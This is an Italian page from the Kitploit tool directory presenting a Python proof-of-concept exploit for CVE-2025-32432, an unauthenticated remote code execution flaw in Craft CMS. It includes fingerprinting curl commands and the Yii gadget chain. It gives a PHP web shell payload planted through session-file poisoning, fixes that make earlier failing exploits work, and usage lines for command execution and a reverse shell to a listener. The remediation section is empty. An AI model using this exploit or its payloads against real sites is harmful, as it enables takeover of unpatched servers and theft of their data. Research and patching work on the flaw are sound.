Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-32432 — PoC Python che sfrutta CVE-2025-32432, un RCE non autenticato in Craft CMS tramite iniezione di gadget Yii DI, con scansione assetId, reverse shell e indicazioni di remediation. | Kitploit
Strumenti/GitHubGitHub/si13nttt/cve-2025-32432
Strumenti DifensiviAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingRisposta agli IncidentiStrumento di Accesso RemotoSviluppo Payload
GitHubsi13nttt/cve-2025-32432

CVE-2025-32432

PoC Python che sfrutta CVE-2025-32432, un RCE non autenticato in Craft CMS tramite iniezione di gadget Yii DI, con scansione assetId, reverse shell e indicazioni di remediation.

19 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
Condividi

CVE-2025-32432 — Craft CMS <= 5.6.16 RCE non autenticato

Gravità: Critica (CVSS 10.0) Autenticazione richiesta: Nessuna Affetto: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 Corretto in: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50


Identificazione (Come confermare che il target è vulnerabile)

Prima di sfruttare, conferma che il target esegua una versione vulnerabile di Craft CMS.

Passo 1 — Identificare la versione di Craft CMS

curl -s http://target/cms/index.php | grep -i craft
curl -s http://target/cms/web.config
curl -s http://target/cms/composer.json | python3 -m json.tool | grep craftcms

Passo 2 — Sondare l'endpoint vulnerabile (verifica accesso anonimo)

curl -s -o /dev/null -w "%{http_code}" \
  -X POST http://target/cms/actions/assets/generate-transform \
  -H "Content-Type: application/json" \
  -d '{"assetId":1,"handle":{"width":1,"height":1}}'
  • HTTP 400 = l'endpoint esiste (Craft è in esecuzione), CSRF mancante
  • HTTP 404 = non è Craft o percorso errato
  • HTTP 500 = gadget attivato (assetId valido, endpoint raggiungibile)

Passo 3 — Confermare con scansione assetId

python3 exploit.py -u http://target/cms -c "id"

Se l'output contiene uid= il target è confermato vulnerabile e l'RCE è stato ottenuto.


Causa principale

AssetsController::actionGenerateTransform() è dichiarato allowAnonymous, rendendolo raggiungibile senza autenticazione. Passa il parametro handle controllato dall'utente direttamente in Yii::createObject():

protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];

public function actionGenerateTransform(): Response
{
    $handle = Craft::$app->getRequest()->getBodyParam('handle');
    $transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}

Il container DI di Yii tratta due chiavi speciali dell'array senza alcuna allow-list:

ChiaveComportamento
__classIstanzia questa classe invece del tipo dichiarato
__construct()Passa questi valori come argomenti del costruttore

Catena di gadget:

handle[as x][__class]       = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
                                        |
    PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile

L'avvelenamento del file di sessione chiude il cerchio: PHP memorizza i parametri GET testualmente in /tmp/sess_<CraftSessionId>. Inserendo <?=shell_exec($_GET['cmd']);exit;?> si ottiene l'RCE.


Perché i PoC pubblici esistenti falliscono

1. La codifica URL distrugge il payload PHP

Problema principale: Python requests codifica <, >, ?, = prima dell'invio. Il gestore di sessione PHP memorizza i byte codificati in percentuale — non PHP eseguibile.

Payload codificato (ROTTO — ciò che requests invia effettivamente sulla rete)

GET /index.php?p=admin/dashboard&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E HTTP/1.1

# Il file di sessione memorizza:
returnUrl|s:107:"...&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E"
# PHP vede una stringa semplice — nessun tag PHP — nulla viene eseguito.

Payload non codificato (CORRETTO — ciò che inviamo dopo il monkey-patching)

GET /index.php?p=admin/dashboard&cve202532432=<?=shell_exec($_GET['cmd']);exit;?> HTTP/1.1

# Il file di sessione memorizza:
returnUrl|s:107:"...&cve202532432=<?=shell_exec($_GET['cmd']);exit;?>"
# Quando viene require()'d, PHP esegue shell_exec e restituisce l'output.

Correzione: Effettua il monkey-patch di HTTPConnectionPool._make_request — l'ultimo punto prima del TCP — e chiama urllib.parse.unquote() lì:

def _raw_request(self, conn, method, url, **kw):
    url = urllib.parse.unquote(url)   # ripristina < > ? = appena prima della scrittura sul socket
    return self._orig_req(conn, method, url, **kw)

urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request

2. Nome del cookie di sessione errato

Lo standard: Il cookie di sessione predefinito di PHP è PHPSESSID. Craft CMS lo sovrascrive nella sua configurazione dell'applicazione:

// craft/config/app.php (sorgente Craft CMS)
'session' => [
    'class' => craft\web\Session::class,
    'cookieName' => 'CraftSessionId',   // <-- nome personalizzato, NON PHPSESSID
],

Ciò significa che il file di sessione su disco è /tmp/sess_<CraftSessionId>, non /tmp/sess_<PHPSESSID>.

Confronto dei cookie

ProprietàPredefinito PHPCraft CMS
Nome cookiePHPSESSIDCraftSessionId
File di sessione/tmp/sess_abc123/tmp/sess_abc123
Come leggeresession.cookies.get("PHPSESSID")session.cookies.get("CraftSessionId")
Cosa succede se erratoViene restituito NoneIl percorso itemFile punta a un file inesistente
Risultatol'exploit fallisce silenziosamentenessun errore — require() semplicemente fallisce
# ROTTO — legge PHPSESSID, ottiene None
session_id = session.cookies.get("PHPSESSID")
item_file  = f"/tmp/sess_{session_id}"   # -> "/tmp/sess_None" — non esiste

# CORRETTO — legge il cookie effettivo di Craft
session_id = sess.cookies.get("CraftSessionId")
item_file  = f"/tmp/sess_{session_id}"   # -> "/tmp/sess_u8p2hn4kfgol9nbjkcvnv7ag6u"

Puoi verificare il nome corretto del cookie ispezionando i DevTools del browser dopo aver visitato qualsiasi pagina Craft, o controllando l'header di risposta Set-Cookie:

curl -sI http://target/cms/index.php | grep -i set-cookie
# Set-Cookie: CraftSessionId=u8p2hn4kfgol9nbjkcvnv7ag6u; path=/; HttpOnly

3. Token CSRF mancante sulla richiesta di attivazione

Craft convalida i token CSRF su tutte le azioni POST non anonime. Omettere il token causa 400 Bad Request.

# ROTTO
requests.post(url, json=payload)

# CORRETTO — estrai CRAFT_CSRF_TOKEN dall'HTML della pagina di login, invia come header
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})

Tabella di confronto

ProblemaPoC log-poisoningSessione (cookie errato)Sessione (senza CSRF)Questo PoC
Codifica URLN/A (User-Agent)ROTTOROTTOCORRETTO con monkey-patch
Nome cookieN/AROTTO PHPSESSIDROTTO PHPSESSIDCORRETTO CraftSessionId
CSRF sull'attivazioneOKOKROTTOCORRETTO
exit; nel log obsoletoROTTON/AN/AN/A
Funziona con prefisso /cmsROTTOROTTOROTTOCORRETTO

Utilizzo

usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
                  [--revshell] [--lhost LHOST] [--lport LPORT]

options:
  -u URL          URL base di Craft CMS incluso il prefisso del percorso
  -c CMD          Comando shell da eseguire
  -a ASSET_ID     assetId valido noto (salta la scansione automatica)
  -s SCAN_MAX     Limite superiore per la scansione assetId (predefinito: 50)
  --revshell      Invia una reverse shell Python3
  --lhost LHOST   IP del listener (richiesto con --revshell)
  --lport LPORT   Porta del listener (richiesta con --revshell)
python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"

# Reverse shell (Python3 — evita /dev/tcp e problemi di quoting bash)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444

Remediation

Scarica lo strumento